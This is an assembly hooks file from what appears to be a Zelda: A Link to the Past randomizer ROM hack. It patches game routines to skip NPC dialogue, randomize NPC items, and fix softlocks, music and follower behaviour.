; org $06B538 ; <- 33538 sprite_smithy_bros.asm : 602 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .no_player_dialogue)
; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
;-- Brought dwarf home
org $06B438 ; <- 33438 sprite_smithy_bros.asm : 399 (JSL Sprite_ShowMessageUnconditional)
NOP #4
;-- 10 rupees to temper
org $06B470 ; <- 33470 sprite_smithy_bros.asm : 447 (JSL Sprite_ShowMessageUnconditional)
NOP #4
;-- Yes, I'm sure
org $06B495 ; <- 33495 sprite_smithy_bros.asm : 479 (JSL Sprite_ShowMessageUnconditional)
NOP #4
;-- We'll take your sword
org $06B4F3 ; <- 334F3 sprite_smithy_bros.asm : 556 (JSL Sprite_ShowMessageUnconditional)
JSL ItemSet_SmithSword
;NOP #4
;-- Smiths can't make your sword any stronger
org $06B4A1 ; <- 334A1 sprite_smithy_bros.asm : 491 - (Sprite_ShowMessageUnconditional)
NOP #4
;----------------------------------------------------------
;-- Not enough magic text
org $07B0CC ; <- 3B0CC Bank07.asm : 7767 - (JSL Main_ShowTextMessage)
NOP #4
;----------------------------------------------------------
; ;-- Witch's Assistant
; org $05F8E7 ; <- 2F8E7 sprite_potion_shop.asm : 603 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
; org $05F8F5 ; <- 2F8F5 sprite_potion_shop.asm : 620 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
; ;----------------------------------------------------------
; ;-- Bottle Vendor
; org $05EAE3 ; <- 2EAE3 sprite_bottle_vendor.asm : 104 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .didnt_converse)
; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
; org $05EB03 ; <- 2EB03 sprite_bottle_vendor.asm : 129 - (JSL Sprite_ShowMessageUnconditional)
; NOP #4
; ;----------------------------------------------------------
; ;-- Digging Game Guy
; org $1DFC76 ; <- EFC76 sprite_digging_game_guy.asm : 46 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .return)
; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
; org $1DFCA6 ; <- EFCA6 sprite_digging_game_guy.asm : 89 (JSL Sprite_ShowMessageUnconditional)
; NOP #4
; ;----------------------------------------------------------
; ;-- Flute Boy
; org $06B078 ; <- 33078 sprite_flute_boy.asm : 244 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .didnt_speak)
; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
; org $06B0AF ; <- 330AF sprite_flute_boy.asm : 308 - (JSL Sprite_ShowMessageUnconditional)
; NOP #4
; ;----------------------------------------------------------
; ;-- 300 rupee npcs
; org $1EF047 ; <- F7047 sprite_shopkeeper.asm : 227 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) (probably)
; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
; ;----------------------------------------------------------
; ;-- Chest Game Guy
; org $1EEFBF ; <- F6FBF sprite_shopkeeper.asm : 121 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC BRANCH_ALPHA)
; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
org $1EEFE0 ; <- F6FE0 sprite_shopkeeper.asm : 144 - (JSL Sprite_ShowMessageUnconditional)
NOP #4
;----------------------------------------------------------
;-- Desert Palace plaque (opening desert with book)
org $1EE0D2 ; <- F60D2 Sprite_Hylian_Plaque.asm : 127 - (JSL Sprite_ShowMessageUnconditional)
NOP #4
; ;----------------------------------------------------------
; ;-- Uncle gives sword
; org $05DF34 ; <- 2DF34 sprite_uncle_and_priest.asm : 961 - (JSL Sprite_ShowMessageFromPlayerContact : BCC .player_not_close_2)
; JSL Sprite_ShowMessageFromPlayerContact_Edit
; ;----------------------------------------------------------
;===================================
;-- Escort Text
;-- dw coordinate, coordinate, flag, text message number, tagalong number
;===================================
org $09A4C2 ; <- 4A4C2 tagalong.asm : 967 - (.room_data_1)
dw $1EF0, $0288, $0001, $0097, $00F0 ; Old man first text after encounter text
dw $1E58, $02F0, $0002, $0098, $00F0 ; Old man "dead end" (when you run to the pot)
dw $1EA8, $03B8, $0004, $0099, $00F0 ; Old man "turn right here"
dw $0CF8, $025B, $0001, $001F, $00F0 ; Zelda "there's a secret passage"
dw $0CF8, $039D, $0002, $001F, $00F0 ; Zelda "there's a secret passage"
dw $0C78, $0238, $0004, $001F, $00F0 ; Zelda "there's a secret passage"
dw $0A30, $02F8, $0001, $0020, $00F0 ; Zelda "we can push this"
dw $0178, $0550, $0001, $0021, $00F0 ; Zelda "pull the lever"
dw $0168, $04F8, $0002, $0028, $00F0 ; Zelda room before sanctuary
dw $1BD8, $16FC, $0001, $0122, $00F0 ; Blind (maiden) "don't take me outside!"
dw $1520, $167C, $0001, $0122, $00F0 ; Blind (maiden) "don't take me outside!"
dw $05AC, $04FC, $0001, $0027, $00F0 ; Zelda in the water room
;----------------------------------------------------------
;----------------------------------------------------------
;-- Speed up Walls (Desert, Mire, and Palace of Darkness)
; org $01CA66 ; <- CA66 Bank01.asm : 10864 - (LDA.w #$2200 : ADD $041C : STA $041C)
; LDA.w #$4400 ; #$2200 is the normal speed, $#FF00 is max.
;----------------------------------------------------------
;-- Hobo gives item faster
; org $06BE3A ; <- 33E3A sprite_hobo.asm : 90 - (db 6, 2, 6, 6, 2, 100, 30)
; db 6, 2, 6, 6, 2, 6, 30
;----------------------------------------------------------
;-- Sick kid gives item faster
; org $06B9A1 ; <- 339A1 sprite_bug_net_kid : 62 - (db 8, 12, 8, 12, 8, 96, 16)
; db 8, 12, 8, 12, 8, 32, 16
;----------------------------------------------------------
;================================================================================
; Ganon Fixes
;--------------------------------------------------------------------------------
;org $1D91E3 ; <- E91E3 - sprite_ganon.asm : 778
;JSL.l GanonWarpRNG
;NOP #2
;LDA #$00 : NOP #4
;--------------------------------------------------------------------------------
; Hook end of Z3 save routine and save SM items/checksum
; Has to be at the end of the routine or NMI will disrupt the saving routine
org $0089be
jml zelda_save_done_hook
;================================================================================
; Dark World Spawn Location Fix & Follower Fixes
;--------------------------------------------------------------------------------
org $00894A ; <- 94A
PHB : JSL.l DarkWorldSaveFix
;--------------------------------------------------------------------------------
org $0CCF05 ; <- 64F05
JSL.l DarkWorldLoadFix
NOP #7
;--------------------------------------------------------------------------------
org $09F520 ; <- 4F520 - module_death.asm : 401 (LDA $7EF3C5 : CMP.b #$03 : BCS BRANCH_THETA)
JSL.l OnPlayerDead
JSL.l IncrementDeathCounter
NOP #4
NOP #6
;--------------------------------------------------------------------------------
;org $02D61A ; <- 1561A
;LDA.b #$01 : STA $1B ; fix something i wrote over i shouldn't have
;--------------------------------------------------------------------------------
org $1ED379 ; <- F5379 - sprite_agahnim.asm:75 - JSL PrepDungeonExit
JSL FixAgahnimFollowers
;================================================================================
;================================================================================
; Randomize NPC Items
;--------------------------------------------------------------------------------
org $028823 ; <- 10823 - Bank02.asm:1560 (LDA $7EF3C5 : BEQ .ignoreInput)
JSL.l AllowSQ
;--------------------------------------------------------------------------------
org $08C45F ; <- 4445F - ancilla_recieve_item.asm:157 (STZ $02E9)
JSL.l PostItemAnimation : NOP #2
;--------------------------------------------------------------------------------
org $1EE90A ; <- F690A
JSL.l ItemCheck_OldMan
NOP #2
;--------------------------------------------------------------------------------
org $0280F2 ; <- 100F2
JSL.l ItemCheck_OldMan
NOP #2
;--------------------------------------------------------------------------------
org $1EE9FE ; <- F69FE
JSL.l ItemSet_OldMan
;--------------------------------------------------------------------------------
org $068F16 ; <- 30F16
JSL.l ItemCheck_ZoraKing
;--------------------------------------------------------------------------------
org $059ACA ; <- 29ACA
JSL $1DE1AA ; Sprite_SpawnFlippersItem
;--------------------------------------------------------------------------------
org $1DE1E4 ; <- EE1E4 - sprite_great_catfish.asm : 489
JSL.l LoadZoraKingItemGFX
NOP #2
;--------------------------------------------------------------------------------
org $1DE1A1 ; <- EE1A1 - sprite_great_catfish.asm : 45
JSL.l LoadCatfishItemGFX
NOP #2
;--------------------------------------------------------------------------------
org $068D86 ; <- 30D86
JSL.l ItemCheck_SickKid
;--------------------------------------------------------------------------------
org $06B9D4 ; <- 339D4 - sprite_bug_net_kid.asm : 111 (JSL Link_ReceiveItem)
JSL.l ItemSet_SickKid
;--------------------------------------------------------------------------------
org $068BAC ; <- 30BAC - SpritePrep_FluteBoy : 1068
JSL.l ItemCheck_TreeKid2
org $06908D ; <- 3108D - SpritePrep_FluteBoy : 2175
JSL.l ItemCheck_TreeKid
CMP.b #$08
BEQ $0A
org $069095 ; <- 31095 - SpritePrep_FluteBoy : 2177
JSL.l ItemCheck_TreeKid
CMP.b #$08
org $0690BD ; <- 310BD - SpritePrep_FluteBoy : 2202
JSL.l ItemCheck_TreeKid2
org $06AF9B ; <- 32F9B - FluteBoy_Chillin : 73 : LDA $7EF34C : CMP.b #$02 : BCS .player_has_flute
;NOP #8
LDA !HAS_GROVE_ITEM : AND.b #$01
db #$D0 ; BNE
org $06B062 ; <- 33062 - FluteAardvark_InitialStateFromFluteState : 225 : LDA $7EF34C : AND.b #$03 : !BGE #$05
JSL.l ItemCheck_TreeKid2
NOP #$02 ; remove pointless AND
org $06B048 ; <- 33048
JSL.l ItemCheck_TreeKid3
org $06AF59 ; <- 32F59 - sprite_flute_boy.asm : 36 (LDA $0D80, X : CMP.b #$03 : BEQ .invisible)
JML.l FluteBoy
FluteBoy_Abort:
RTS
FluteBoy_Continue:
;org $1E9968 ; <- F1968 - sprite_flute_boy_ostrich.asm : 14 (dw FluteBoyOstrich_Chillin)
;dw #$9991 ; FluteBoyOstrich_RunAway
;--------------------------------------------------------------------------------
org $06B0C9 ; <- 330C9
JSL.l ItemSet_TreeKid
;--------------------------------------------------------------------------------
org $05F177 ; <- 2F177
JSL.l ItemCheck_Sahasrala
;--------------------------------------------------------------------------------
org $05F200 ; <- 2F200
JSL.l ItemSet_Sahasrala
;--------------------------------------------------------------------------------
org $1DE102 ; <- EE102
JSL.l ItemCheck_Catfish
org $1DE11C ; <- EE11C
JSL.l ItemCheck_Catfish
;--------------------------------------------------------------------------------
org $1DE1A1 ; <- EE1A1 - sprite_great_catfish.asm : 445
JSL.l LoadCatfishItemGFX
NOP #2
;--------------------------------------------------------------------------------
org $1DDF49 ; <- EDF49 - sprite_great_catfish.asm : 19
JML.l JumpToSplashItemTarget : NOP
org $1DDF4E ; <- EDF4E - sprite_great_catfish.asm : 21
SplashItem_SpawnSplash:
org $1DDF52 ; <- EDF52 - sprite_great_catfish.asm : 27
SplashItem_SpawnOther:
org $1DE228 ; <- EE228 - sprite_great_catfish.asm : 290
LDA.b #$FF
;--------------------------------------------------------------------------------
org $1DDF81 ; <- EDF81 - sprite_great_catfish.asm : 61
JSL.l DrawThrownItem
;--------------------------------------------------------------------------------
;org $1DE1B0 ; <- EE1B0 - sprite_great_catfish.asm : 461
;NOP #2
;--------------------------------------------------------------------------------
org $05EE53 ; <- 2EE53 - mushroom.asm : 22
JSL.l ItemCheck_Mushroom
NOP #2
;--------------------------------------------------------------------------------
org $05EE8C ; <- 2EE8C - mushroom.asm : 69
JSL.l ItemSet_Mushroom
NOP
;--------------------------------------------------------------------------------
org $05F53E ; <- 2F53E - sprite_potion_shop.asm : 40
JSL.l ItemCheck_Powder
CMP.b #$20
;--------------------------------------------------------------------------------
; the quake medallion AND FLIPPERS
org $1DDF71 ; <- EDF71 - sprite_great_catfish.asm : 47
JSL.l MarkThrownItem
;--------------------------------------------------------------------------------
;org $05F65D ; <- 2F65D - DONE IN INVENTORY
;JSL.l ItemSet_Powder
;NOP #2
;--------------------------------------------------------------------------------
;JSL.l ItemCheck_RupeeNPC
;--------------------------------------------------------------------------------
;JSL.l ItemSet_RupeeNPC
;--------------------------------------------------------------------------------
;org $08D01B ; PC 0x4501B - ancilla_flute.asm - 55
;JSL.l ItemSet_Flute
;--------------------------------------------------------------------------------
org $05FAFF ; <- 2FAFF - sprite_mad_batter.asm:57 (LDA $7EF37B : CMP.b #$01 : BCS .magic_already_doubled)
JSL.l ItemCheck_MagicBat : BEQ + : RTS : NOP : +
;================================================================================
;================================================================================
; Boss Hearts
;--------------------------------------------------------------------------------
org $05EF5D ; <- 2EF5D - sprite_heart_upgrades.asm:110 (JSL GetAnimatedSpriteTile.variable)
JSL.l HeartContainerSpritePrep
;--------------------------------------------------------------------------------
org $05EF79 ; <- 2EF79 - sprite_heart_upgrades.asm:128 (JSL Sprite_PrepAndDrawSingleLargeLong)
JSL.l DrawHeartContainerGFX
;--------------------------------------------------------------------------------
org $05EFCE ; <- 2EFCE - sprite_heart_upgrades.asm:176 (JSL Link_ReceiveItem)
;org $05EFEE ; <- 2EFEE - sprite_heart_upgrades.asm:202 (JSL Link_ReceiveItem)
JSL.l HeartContainerGet
;--------------------------------------------------------------------------------
;--------------------------------------------------------------------------------
org $0799B1 ; 399B1 - Bank07.asm:4063 (CPY.b #$3E : BNE .notHeartContainer)
JSL.l HeartContainerSound
BCC Link_ReceiveItem_notHeartContainer
; JSR Player_DoSfx3
org $0799BA ; 399BA - Bank07.asm:4070 (LDA.b #$60 : STA $02D9)
Link_ReceiveItem_notHeartContainer:
;--------------------------------------------------------------------------------
org $09887F ; <- 4887F - ancilla_init.asm : 1163 (LDA $0C5E, X : CMP.b #$3E : BEQ .doneWithSoundEffects)
JSL NormalItemSkipSound
NOP
BCS AddReceivedItem_doneWithSoundEffects
org $0988AE ; <- 488AE - ancilla_init.asm : 1193 (LDA.b #$0A : STA $02)
AddReceivedItem_doneWithSoundEffects:
;================================================================================
; Heart Pieces
;--------------------------------------------------------------------------------
org $05F030 ; <- 2F030 - display item
JSL.l DrawHeartPieceGFX
;--------------------------------------------------------------------------------
org $05F08A ; <- 2F08A - sprite_heart_upgrades.asm : 324 - (LDA $7EF36B : INC A : AND.b #$03 : STA $7EF36B : BNE .got_4_piecese) item determination
JSL.l HeartPieceGet
BCS $18 ; reinsert the near branch that appears midway through what we overrode
NOP #22
;--------------------------------------------------------------------------------
org $06C0B0 ; <- 340B0 - sprite prep
JSL.l HeartPieceSpritePrep
;--------------------------------------------------------------------------------
org $08C45B ; <- 4445B - ancilla_receive_item.asm : 152
JSL.l HPItemReset
;--------------------------------------------------------------------------------
org $05EF1E ; <- 2EF1E - sprite_heart_upgrades.asm : 48 (LDA $7EF280, X : AND.b #$40 : BEQ .dont_self_terminate)
JSL.l HeartUpgradeSpawnDecision
;--------------------------------------------------------------------------------
org $05EFFA ; <- 2EFFA - sprite_heart_upgrades.asm : 216 (LDA $7EF280, X : ORA.b #$40 : STA $7EF280, X)
JSL.l SaveHeartCollectedStatus
NOP #6
;================================================================================
;================================================================================
; Fake Flippers Softlock Fix + General Damage Hooks
;--------------------------------------------------------------------------------
org $078091 ; <- 38091 - Bank07.asm:138 (LDA $037B : BNE .linkNotDamaged)
LDA $0373 : STA $00 : STZ $0373 ; store and zero damage
LDA $037B : BNE LinkDamaged_linkNotDamaged ; skip if immune
;--------------------------------------------------------------------------------
org $0780C6 ; <- 380C6 - Bank07.asm:174 (LDA $7EF36D)
JSL.l OnLinkDamaged
;--------------------------------------------------------------------------------
org $0780FB ; <- 380FB - Bank07.asm:207 (.linkNotDamaged)
LinkDamaged_linkNotDamaged:
;--------------------------------------------------------------------------------
org $0794FB ; <- 394FB - Bank07.asm:3336 (LDA.b #$14 : STA $11)
JSL.l OnLinkDamagedFromPit
;--------------------------------------------------------------------------------
; org $01FFE7 ; <- FFE7 - Bank01.asm:16375 (LDA $7EF36D)
; JSL.l OnLinkDamagedFromPitOutdoors
; commenting this out, since it is for OHKO-mode in LttP. it jumps to an RTL
; which currently does nothing. as a result, it sets Link's hearts to 4.5
; when you jump off the bridge on death mountain
;--------------------------------------------------------------------------------
org $078F27 ; <- 38F27
JSL.l FlipperReset
;--------------------------------------------------------------------------------
org $09F40B ; <- 4F40B - module_death.asm:222 (LDX.b #$00)
JSL.l IgnoreFairyCheck
;--------------------------------------------------------------------------------
org $078F51 ; <- 38F51 - Bank07.asm:2444 (JSR $AE54 ; $3AE54 IN ROM)
JSL.l OnEnterWater : NOP
;--------------------------------------------------------------------------------
;================================================================================
; Floodgate Softlock Fix
;--------------------------------------------------------------------------------
org $0AB8E5 ; <- 538E5
JSL.l FloodGateAndMasterSwordFollowerReset
JSL.l IncrementFlute
NOP #32
;--------------------------------------------------------------------------------
org $02AA87 ; <- 12A87
JSL.l OnOWTransition
NOP #36
;================================================================================
;================================================================================
; Add SFX
;--------------------------------------------------------------------------------
org $1DFDA8 ; <- EFDA9 - sprite_digging_game_guy.asm:309 (STA $7FFE00)
JSL.l SpawnShovelGamePrizeSFX
;--------------------------------------------------------------------------------
;org $01EEB6 ; <- EEB6 - Bank01.asm:14138 (ORA.b #$40 : STA $0403)
org $01EECD ; <- EECD - Bank01.asm:14160 (LDA.b #$0E : STA $012F)
JSL.l SpawnChestGamePrizeSFX : NOP
;================================================================================
;================================================================================
; Heart Beep Timer
;--------------------------------------------------------------------------------
org $0DDC9B ; <- 6DC9B
JSL.l BeepLogic
NOP #6
;================================================================================
;================================================================================
; Item Downgrade Fix
;--------------------------------------------------------------------------------
org $09865E ; <- 4865E
JSL.l $1BEE1B ; fix something i wrote over i shouldn't have
;--------------------------------------------------------------------------------
org $098638 ; <- 48638 - ancilla_init.asm:737 - LDA .item_values, Y : BMI .dontWrite (BMI)
JSL.l ItemDowngradeFix
;================================================================================
;================================================================================
; Lamp Mantle & Light Cone Fix
;--------------------------------------------------------------------------------
org $1AFC4D ; <- D7C4D - sprite_movable_mantle.asm:31 (LDA $7EF3CC : CMP.b #$01 : BNE .return)
JSL.l CheckForZelda
;--------------------------------------------------------------------------------
org $1AFC55 ; <- D7C55 - sprite_movable_mantle.asm:34 (LDA $7EF34A : BEQ .return)
NOP #6 ; remove check
;--------------------------------------------------------------------------------
org $068841 ; <- 30841 - sprite_prep.asm:269 (LDA $0D00, X : ADD.b #$03 : STA $0D00, X)
JSL.l Mantle_CorrectPosition : NOP #2
;--------------------------------------------------------------------------------
org $0DFA53 ; <- 6FA53 - hud check for lantern
JSL.l LampCheck
;--------------------------------------------------------------------------------
org $01F503 ; <- F503 - Bank01.asm:14994 (LDA.b #$01 : STA $1D)
JSL.l SetOverlayIfLamp
;================================================================================
; ;================================================================================
; ; Overworld Door Frame Overlay Fix
; ;
; ; When entering an overworld entrance, if it is an entrance to a simple cave, we
; ; store the overworld door id, then use that (instead of the cave id) to determine the
; ; overlay to draw when leaving the cave again. We also use this value to
; ; identify the tavern entrance to determine whether link should walk up or down.
; ;--------------------------------------------------------------------------------
; org $1BBD5F ; <- Bank1b.asm:296 (LDA $1BBB73, X : STA $010E)
; JSL.l StoreLastOverworldDoorID
; NOP #3
; ;--------------------------------------------------------------------------------
; org $02D754 ; <- Bank02.asm:10847 (LDA $D724, X : STA $0696 : STZ $0698)
; JSL.l CacheDoorFrameData
; NOP #5
; ;--------------------------------------------------------------------------------
; org $0298AD ; <- Bank02.asm:4495 (LDA $010E : CMP.b #$43)
; JSL.l WalkDownIntoTavern
; NOP #1
; ;================================================================================
;================================================================================
; Music fixes
;--------------------------------------------------------------------------------
org $0282F4 ; <- Bank02.asm:654 (LDY.b #$58 ...)
JML.l PreOverworld_LoadProperties_ChooseMusic
org $028389 ; <- Bank02.asm:763
PreOverworld_LoadProperties_SetSong:
;--------------------------------------------------------------------------------
org $05CC58 ; <- Bank05.asm:1307 (LDA $040A : CMP.b #$18)
JSL PsychoSolder_MusicCheck
NOP #1
;================================================================================
;================================================================================
; Hooks for roomloading.asm
;--------------------------------------------------------------------------------
org $02895D ; <- Bank02.asm:1812 (JSL Dungeon_LoadRoom)
JSL LoadRoomHook
;--------------------------------------------------------------------------------
org $028BE7 ; <- Bank02.asm:2299 (JSL Dungeon_LoadRoom)
JSL LoadRoomHook_noStats
;--------------------------------------------------------------------------------
org $029309 ; <- Bank02.asm:3533 (JSL Dungeon_LoadRoom)
JSL LoadRoomHook_noStats
;--------------------------------------------------------------------------------
org $02C2F3 ; <- Bank02.asm:10391 (JSL Dungeon_LoadRoom)
JSL LoadRoomHook_noStats
;================================================================================
;================================================================================
; Hooks into the "Reloading all graphics" routine
;--------------------------------------------------------------------------------
org $00E64D ; <- Bank00.asm:5656 (STZ $00 : STX $01 : STA $02)
JML BgGraphicsLoading
BgGraphicsLoadingCancel:
RTS : NOP
BgGraphicsLoadingResume:
;================================================================================
;================================================================================
; Hook when updating the floor tileset in dungeons (such as between floors)
;--------------------------------------------------------------------------------
org $00DF62 ; <- Bank00.asm:4672 (LDX.w #$0000 : LDY.w #$0040)
JML ReloadingFloors
NOP : NOP
ReloadingFloorsResume:
org $00DF6E ; <- A few instructions later, right after JSR Do3To4High16Bit
ReloadingFloorsCancel:
;================================================================================
; ;================================================================================
; ; Hook bow use - to use rupees instead of actual arrows
; ;--------------------------------------------------------------------------------
; org $07A055 ; <- Bank07.asm:5205 (LDA $0B99 : BEQ BRANCH_DELTA)
; JSL.l ArrowGame : NOP #14
; org $07A06C ; <- Bank07.asm:5215 (LDA $7EF377 : BEQ BRANCH_EPSILON)
; JSL.l DecrementArrows : SKIP 2 : NOP : LDA $7EF377
; ;================================================================================
; ;================================================================================
; ; Quick Swap
; ;--------------------------------------------------------------------------------
; org $0287FB ; <- 107FB - Bank02.asm:1526 (LDA $F6 : AND.b #$40 : BEQ .dontActivateMap)
; JSL.l QuickSwap
; org $02A451 ; <- 12451 - Bank02.asm:6283 (LDA $F6 : AND.b #$40 : BEQ .xButtonNotDown)
; JSL.l QuickSwap
; ;================================================================================
;================================================================================
; Tagalong Fixes
;--------------------------------------------------------------------------------
org $0689AB ; <- 309AB - sprite_prep.asm: 647 (LDA $7EF3CC : CMP.b #$06 : BEQ .killSprite)
; Note: In JP 1.0 we have: (CMP.b #$00 : BNE .killSprite) appling US bugfix
; Prevent followers from causing blind/maiden to despawn:
CMP.b #$06 : db #$F0 ; BEQ
;--------------------------------------------------------------------------------
;Control which doors frog/smith can enter
org $1BBCF0 ; <- DBCF0 - Bank1B.asm: 248 (LDA $04B8 : BNE BRANCH_MU)
Overworld_Entrance_BRANCH_LAMBDA: ; Branch here to show Cannot Enter with Follower message
org $1BBD55 ; <- DBD55 - Bank1B.asm: 290 (CPX.w #$0076 : BCC BRANCH_LAMBDA)
JML.l SmithDoorCheck : NOP
Overworld_Entrance_BRANCH_RHO: ; branch here to continue into door
;================================================================================
; ;================================================================================
; ; Paradox Cave Shopkeeper Fixes
; ;--------------------------------------------------------------------------------
; org $008C19 ; Bank00.asm@1633 (LDA.b #$01 : STA $420B)
; JSL ParadoxCaveGfxFix
; NOP
;-- Extended sprite sheets
;
org $00e7b2 ; - bank00.asm : 5847
jml Decomp_spr_high_extended
org $00e7de
Decomp_spr_high_extended_return:
;================================================================================
; Text Removal
;--------------------------------------------------------------------------------
;-- Music restarting at zelda fix
org $05ED10 ; <- 2ED10 - sprite_zelda.asm : 233 - (LDA.b #$19 : STA $012C)
NOP #5
;--------------------------------------------------------------------------------
org $1ECE47 ; <- F4E47 - sprite_crystal_maiden.asm : 220
JML.l MaidenCrystalScript
;--------------------------------------------------------------------------------
org $1ECCEB ; <- F4CEB - sprite_crystal_maiden.asm : 25 ; skip all palette nonsense
JML.l SkipCrystalPalette
;;;org $1ECD39
;;;SkipCrystalPalette:
;--------------------------------------------------------------------------------
org $08C3FD ; <- 443FD - ancilla_receive_item.asm : 89
!MS_GOT = "$7F5031"
LDA #$40 : STA !MS_GOT
;;NOP #6 ; don't set master sword follower
;--------------------------------------------------------------------------------
org $08C5FE ; <- 445FE - ancilla_receive_item.asm : 408
NOP #4
;--------------------------------------------------------------------------------
org $1ED467 ; <- F5467 - sprite_agahnim.asm : 202
NOP #4
;--------------------------------------------------------------------------------
org $1ED4FF ; <- F54FF - sprite_agahnim.asm : 328
NOP #4
;--------------------------------------------------------------------------------
;org $029C94 ; <- 11C94 - Bank02.asm : 5197 (JSL Main_ShowTextMessage)
;NOP #4
;--------------------------------------------------------------------------------
org $029CBD ; <- 11CBD - Bank02.asm : 5227 (JSL Messaging_Text)
STZ $11
NOP #2
;--------------------------------------------------------------------------------
;org $029CD3 ; <- 11CD3 - Bank02.asm : 5237 (BNE BRANCH_BETA)
;db $80 ; BRA
;--------------------------------------------------------------------------------
org $029CDF ; <- 11CDF - Bank02.asm : 5245 (JSL Main_ShowTextMessage)
NOP #4
;--------------------------------------------------------------------------------
org $029CF0 ; <- 11CF0 - Bank02.asm : 5266
STZ $11
NOP #2
;--------------------------------------------------------------------------------
org $05FB70 ; <- 2FB70 - sprite_mad_batter.asm:131 - (JSL Sprite_ShowMessageUnconditional)
NOP #4
;--------------------------------------------------------------------------------
org $05FBC2 ; <- 2FBC3 - sprite_mad_batter.asm:195 - (JSL Sprite_ShowMessageUnconditional)
NOP #4
;--------------------------------------------------------------------------------
;org $05F16C ; <- 2F16C - sprite_elder.asm : 137 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .dont_show)
;NOP #4
;--------------------------------------------------------------------------------
;org $05F190 ; <- 2F190 - sprite_elder.asm : 170 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
;NOP #4
;--------------------------------------------------------------------------------
;org $05F1A8 ; <- 2F1A8 - sprite_elder.asm : 182 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
;NOP #4
;--------------------------------------------------------------------------------
;org $05F1BC ; <- 2F1BC - sprite_elder.asm : 194 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
;NOP #4
;--------------------------------------------------------------------------------
;org $05F1CE ; <- 2F1CE - sprite_elder.asm : 194 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
;NOP #4
;--------------------------------------------------------------------------------
;-- Old mountain man healing text
org $1EEAD7 ; F6AD7 sprite_old_mountain_man.asm : (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .didnt_speak)
JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
;--------------------------------------------------------------------------------
;-- Priest healing text
org $05DE11 ; 2DE11 sprite_uncle_and_priest.asm : 720 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .gamma)
JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
;--------------------------------------------------------------------------------
;-- zelda's heal text
org $05EE38 ; <- 2ee38 sprite_zelda.asm : 474 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
;--------------------------------------------------------------------------------
;-- zelda in jail
org $05ED06 ; <- 2ED06 sprite_zelda.asm : 227 - (JSL Sprite_ShowMessageUnconditional)
STZ $1CE8 : NOP
org $05ED27 ; <- 2ED27 sprite_zelda.asm : 256 - (JSL Sprite_ShowMessageUnconditional)
NOP #4
org $05ED35 ; <- 2ED35 sprite_zelda.asm : 272 - (JSL Sprite_ShowMessageUnconditional)
NOP #4
;----------------------------------------------------
;-- sanctuary
org $05DD83 ; <- 2DD83 sprite_uncle_and_priest.asm : 608 - (JSL Sprite_ShowMessageUnconditional)
STZ $1CE8 : NOP
org $05EDC8 ; <- 2EDC8 sprite_zelda.asm : 388 - (JSL Sprite_ShowMessageUnconditional)
NOP #4
org $05DDAB ; <- 2DDAB sprite_uncle_and_priest.asm : 635 - (JSL Sprite_ShowMessageUnconditional)
NOP #4
;----------------------------------------------------
;-- Sick Kid
org $06B9C6 ; <- 339C6 sprite_bug_net_kid.asm : 92 - (JSL Sprite_ShowMessageUnconditional)
NOP #4
;----------------------------------------------------
;-- Hobo
org $06BE5F ; <- 33E5F sprite_hobo.asm : 121 - (JSL Sprite_ShowMessageUnconditional)
Nop #4
;----------------------------------------------------------
;-- Sahasrahla
org $05F190 ; <- 2F190 sprite_elder.asm : 154 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .dont_show_2) - "Blah blah blah, take the boots"
JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
org $05F212 ; <- 2F212 sprite_elder.asm : 261 - (JSL Sprite_ShowMessageUnconditional) - "Gave you the boots but I'm not doing talking yet"
NOP #4
org $05F1ED ; <- 2F1ED sprite_elder.asm : 225 - (JSL Sprite_ShowMessageUnconditional)
NOP #4
;----------------------------------------------------------
;-- Shopkeepers
org $1EEF7C ; <- F6F7C sprite_shopkeeper.asm : 85 (JSL Sprite_ShowMessageUnconditional)
NOP #4
org $1EF375 ; <- F7375 sprite_shopkeeper.asm : 810 (JSL Sprite_ShowMessageUnconditional : JSL ShopKeeper_RapidTerminateReceiveItem)
NOP #8
;----------------------------------------------------------
;-- Bomb shop guy (buying small bombs, and buying big bomb)
org $1EE1C0 ; <- F61C0 sprite_bomb_shop_entity.asm : 120 (JSL Sprite_ShowMessageUnconditional)
NOP #4
org $1EE208 ; <- F6208 sprite_bomb_shop_entity.asm : 178 (JSL Sprite_ShowMessageUnconditional)
NOP #4
;-- Text hook for the actual npc
org $1EE181 ; <- F6181 sprite_bomb_shop_entity.asm : 85 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
;;;JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Alt
;----------------------------------------------------------
;-- Catfish
org $1DE112 ; <- EE112 sprite_great_catfish.asm : 341 (JSL Sprite_ShowMessageMinimal)
NOP #4
;----------------------------------------------------
;-- King Zora
org $059A7D ; <- 29A7D sprite_zora_king.asm : 223 - (JSL Sprite_ShowMessageMinimal)
STZ $1CE8 : NOP
;----------------------------------------------------
;-- Before Agah 1 fight
